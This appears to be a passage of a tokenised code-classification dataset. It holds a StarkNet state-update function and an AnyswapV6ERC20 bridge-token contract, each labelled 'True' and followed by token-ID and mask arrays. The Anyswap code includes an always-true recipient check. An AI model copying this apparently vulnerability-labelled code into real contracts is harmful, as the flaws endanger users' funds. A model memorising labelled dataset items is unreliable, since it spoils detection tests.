programOutput - The main part of the StarkNet OS program output.
data_availability_fact - An encoding of the on-chain data associated
with the 'programOutput'.
*/
function updateState(
uint256[] calldata programOutput,
uint256 onchainDataHash,
uint256 onchainDataSize
) external onlyOperator {
// Validate program output.
StarknetOutput.validate(programOutput);
bytes32 stateTransitionFact = OnchainDataFactTreeEncoder.encodeFactWithOnchainData(
programOutput,
OnchainDataFactTreeEncoder.DataAvailabilityFact(onchainDataHash, onchainDataSize)
);
bytes32 sharpFact = keccak256(abi.encode(programHash(), stateTransitionFact));
require(IFactRegistry(verifier()).isValid(sharpFact), "NO_STATE_TRANSITION_PROOF");
emit LogStateTransitionFact(stateTransitionFact);
// Process L2 -> L1 messages.
uint256 outputOffset = StarknetOutput.HEADER_SIZE;
outputOffset += StarknetOutput.processMessages(
// isL2ToL1=
true,
programOutput[outputOffset:],
l2ToL1Messages()
);
// Process L1 -> L2 messages.
outputOffset += StarknetOutput.processMessages(
// isL2ToL1=
false,
programOutput[outputOffset:],
l1ToL2Messages()
);
require(outputOffset == programOutput.length, "STARKNET_OUTPUT_TOO_LONG");
// Perform state update.
state().update(programOutput);
StarknetState.State memory state_ = state();
emit LogStateUpdate(state_.globalRoot, state_.blockNumber);
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
15895,
1011,
1016,
1012,
1014,
1012,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
2260,
1025,
10975,
8490,
2863,
6388,
11113,
9013,
16044,
2099,
2615,
2475,
1025,
12324,
1000,
2065,
18908,
2890,
24063,
2854,
1012,
14017,
1000,
1025,
12324,
1000,
2462,
16454,
3012,
1012,
14017,
1000,
1025,
12324,
1000,
6434,
1012,
14017,
1000,
1025,
12324,
1000,
9762,
7159,
3995,
23062,
6651,
1012,
14017,
1000,
1025,
12324,
1000,
9762,
7159,
7834,
3736,
4726,
1012,
14017,
1000,
1025,
12324,
1000,
9762,
7159,
25918,
8844,
1012,
14017,
1000,
1025,
12324,
1000,
9762,
22781,
12259,
1012,
14017,
1000,
1025,
12324,
1000,
2006,
24925,
8943,
2696,
7011,
6593,
13334,
2368,
16044,
2099,
1012,
14017,
1000,
1025,
12324,
1000,
9950,
16294,
11475,
4143,
3468,
1012,
14017,
1000,
1025,
12324,
1000,
3206,
5498,
20925,
17629,
1012,
14017,
1000,
1025,
12324,
1000,
24540,
6342,
9397,
11589,
1012,
14017,
1000,
1025,
12324,
1000,
2315,
23809,
4270,
1012,
14017,
1000,
1025,
3206,
9762,
7159,
2003,
2462,
16454,
3012,
1010,
9762,
7159,
7834,
3736,
4726,
1010,
9762,
7159,
3995,
23062,
6651,
1010,
9950,
16294,
11475,
4143,
3468,
1010,
9762,
7159,
25918,
8844,
1010,
3206,
5498,
20925,
17629,
1010,
24540,
6342,
9397,
11589,
1063,
2478,
9762,
22781,
12259,
2005,
9762,
22781,
12259,
1012,
2110,
1025,
1013,
1013,
15664,
1996,
2047,
2110,
2206,
1037,
2110,
10651,
1012,
2724,
15664,
12259,
6279,
13701,
1006,
21318,
3372,
17788,
2575,
3795,
3217,
4140,
1010,
20014,
17788,
2575,
3796,
19172,
5677,
1007,
1025,
1013,
1013,
15664,
1037,
2110,
6494,
3619,
22753,
7011,
6593,
2008,
2001,
2109,
2000,
10651,
1996,
2110,
1012,
2724,
15664,
12259,
6494,
3619,
22753,
7011,
6593,
1006,
27507,
16703,
2110,
6494,
3619,
22753,
7011,
6593,
1007,
1025,
1013,
1013,
6721,
5527,
10453,
22073,
1012,
5164,
4722,
5377,
2565,
1035,
23325,
1035,
6415,
1027,
1000,
9762,
7159,
1035,
1015,
1012,
1014,
1035,
1999,
4183,
1035,
2565,
1035,
23325,
1035,
21318,
3372,
1000,
1025,
5164,
4722,
5377,
2310,
3089,
8873,
2121,
1035,
4769,
1035,
6415,
1027,
1000,
9762,
7159,
1035,
1015,
1012,
1014,
1035,
1999,
4183,
1035,
2310,
3089,
8873,
2121,
1035,
4769,
1000,
1025,
5164,
4722,
5377,
2110,
1035,
2358,
6820,
6593,
1035,
6415,
1027,
1000,
9762,
7159,
1035,
1015,
1012,
1014,
1035,
1999,
4183,
1035,
9762,
7159,
1035,
2110,
1035,
2358,
6820,
6593,
1000,
1025,
3853,
2275,
21572,
13113,
14949,
2232,
1006,
21318,
3372,
17788,
2575,
2047,
21572,
13113,
14949,
2232,
1007,
6327,
2025,
16294,
11475,
5422,
2069,
3995,
23062,
6651,
1063,
2565,
14949,
2232,
1006,
2047,
21572,
13113,
14949,
2232,
1007,
1025,
1065,
1013,
1013,
2110,
8023,
1000,
2565,
14949,
2232,
1000,
3191,
1011,
3229,
4972,
1012,
3853,
2565,
14949,
2232,
1006,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
2315,
23809,
4270,
1012,
2131,
20023,
9189,
2389,
5657,
1006,
2565,
1035,
23325,
1035,
6415,
1007,
1025,
1065,
1013,
1013,
2110,
8023,
1000,
2565,
14949,
2232,
1000,
4339,
1011,
3229,
4972,
1012,
3853,
2565,
14949,
2232,
1006,
21318,
3372,
17788,
2575,
3643,
1007,
4722,
1063,
2315,
23809,
4270,
1012,
2275,
20023,
9189,
2389,
5657,
1006,
2565,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/**
*Submitted for verification at BscScan.com on 2022-02-11
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface of the ERC2612 standard as defined in the EIP.
*
* Adds the {permit} method, which can be used to change one's
* {IERC20-allowance} without having to send a transaction, by signing a
* message. This allows users to spend tokens without having to hold Ether.
*
* See https://eips.ethereum.org/EIPS/eip-2612.
*/
interface IERC2612 {
/**
* @dev Returns the current ERC2612 nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// @dev Wrapped ERC-20 v10 (AnyswapV3ERC20) is an ERC-20 ERC-20 wrapper. You can `deposit` ERC-20 and obtain an AnyswapV3ERC20 balance which can then be operated as an ERC-20 token. You can
/// `withdraw` ERC-20 from AnyswapV3ERC20, which will then burn AnyswapV3ERC20 token in your wallet. The amount of AnyswapV3ERC20 token in any wallet is always identical to the
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// A transfer to `address(0)` triggers an ERC-20 withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract AnyswapV6ERC20 is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable underlying;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// configurable delay for timelock functions
uint public delay = 2*24*3600;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
address public pendingMinter;
uint public delayMinter;
address public pendingVault;
uint public delayVault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
if (block.timestamp >= delayVault) {
return pendingVault;
}
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
pendingVault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
delayVault = block.timestamp;
_init = false;
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
pendingVault = _vault;
delayVault = block.timestamp + delay;
}
function applyVault() external onlyVault {
require(block.timestamp >= delayVault);
vault = pendingVault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
pendingMinter = _auth;
delayMinter = block.timestamp + delay;
}
function applyMinter() external onlyVault {
require(block.timestamp >= delayMinter);
isMinter[pendingMinter] = true;
minters.push(pendingMinter);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function changeVault(address newVault) external onlyVault returns (bool) {
require(newVault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = newVault;
pendingVault = newVault;
emit LogChangeVault(vault, pendingVault, block.timestamp);
return true;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
/// @dev Records current ERC2612 nonce for account. This value must be included whenever signature is generated for {permit}.
/// Every successful call to {permit} increases account's nonce by one. This prevents signature from being used multiple times.
mapping (address => uint256) public override nonces;
/// @dev Records number of AnyswapV3ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}.
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
underlying = _underlying;
if (_underlying != address(0x0)) {
require(_decimals == IERC20(_underlying).decimals());
}
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
pendingVault = _vault;
delayVault = block.timestamp;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function deposit() external returns (uint) {
uint _amount = IERC20(underlying).balanceOf(msg.sender);
IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount);
return _deposit(_amount, msg.sender);
}
function deposit(uint amount) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, msg.sender);
}
function deposit(uint amount, address to) external returns (uint) {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
return _deposit(amount, to);
}
function depositVault(uint amount, address to) external onlyVault returns (uint) {
return _deposit(amount, to);
}
function _deposit(uint amount, address to) internal returns (uint) {
require(underlying != address(0x0) && underlying != address(this));
_mint(to, amount);
return amount;
}
function withdraw() external returns (uint) {
return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender);
}
function withdraw(uint amount) external returns (uint) {
return _withdraw(msg.sender, amount, msg.sender);
}
function withdraw(uint amount, address to) external returns (uint) {
return _withdraw(msg.sender, amount, to);
}
function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) {
return _withdraw(from, amount, to);
}
function _withdraw(address from, uint amount, address to) internal returns (uint) {
_burn(from, amount);
IERC20(underlying).safeTransfer(to, amount);
return amount;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// @dev Sets `value` as allowance of `spender` account over `owner` account's AnyswapV3ERC20 token, given `owner` account's signed approval.
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - `v`, `r` and `s` must be valid `secp256k1` signature from `owner` account over EIP712-formatted function arguments.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
/// For more information on signature format, see https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP section].
/// AnyswapV3ERC20 token implementation adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(
abi.encode(
PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(
abi.encode(
TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from account (`from`) to account (`to`) using allowance mechanism.
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`),
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
/// - `from` account must have approved caller to spend at least `value` of AnyswapV3ERC20 token, unless `from` and caller are the same account.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
23533,
29378,
1012,
4012,
2006,
16798,
2475,
1011,
6185,
1011,
2340,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
1011,
2030,
1011,
2101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1016,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
26066,
2015,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
2620,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
23833,
12521,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1008,
9909,
1996,
1063,
9146,
1065,
4118,
1010,
2029,
2064,
2022,
2109,
2000,
2689,
2028,
1005,
1055,
1008,
1063,
29464,
11890,
11387,
1011,
21447,
1065,
2302,
2383,
2000,
4604,
1037,
12598,
1010,
2011,
6608,
1037,
1008,
4471,
1012,
2023,
4473,
5198,
2000,
5247,
19204,
2015,
2302,
2383,
2000,
2907,
28855,
1012,
1008,
1008,
2156,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
24441,
2475,
1012,
1008,
1013,
8278,
29464,
11890,
23833,
12521,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
2783,
9413,
2278,
23833,
12521,
2512,
3401,
2005,
1036,
3954,
1036,
1012,
2023,
3643,
2442,
2022,
1008,
2443,
7188,
1037,
8085,
2003,
7013,
2005,
1063,
9146,
1065,
1012,
1008,
1008,
2296,
3144,
2655,
2000,
1063,
9146,
1065,
7457,
1036,
1036,
3954,
1036,
1036,
1005,
1055,
2512,
3401,
2011,
2028,
1012,
2023,
1008,
16263,
1037,
8085,
2013,
2108,
2109,
3674,
2335,
1012,
1008,
1013,
3853,
2512,
9623,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
9146,
1006,
4769,
4539,
1010,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1010,
21318,
3372,
17788,
2575,
15117,
1010,
21318,
3372,
2620,
1058,
1010,
27507,
16703,
1054,
1010,
27507,
16703,
1055,
1007,
6327,
1025,
3853,
4651,
24415,
4842,
22930,
1006,
4769,
4539,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1010,
21318,
3372,
17788,
2575,
15117,
1010,
21318,
3372,
2620,
1058,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
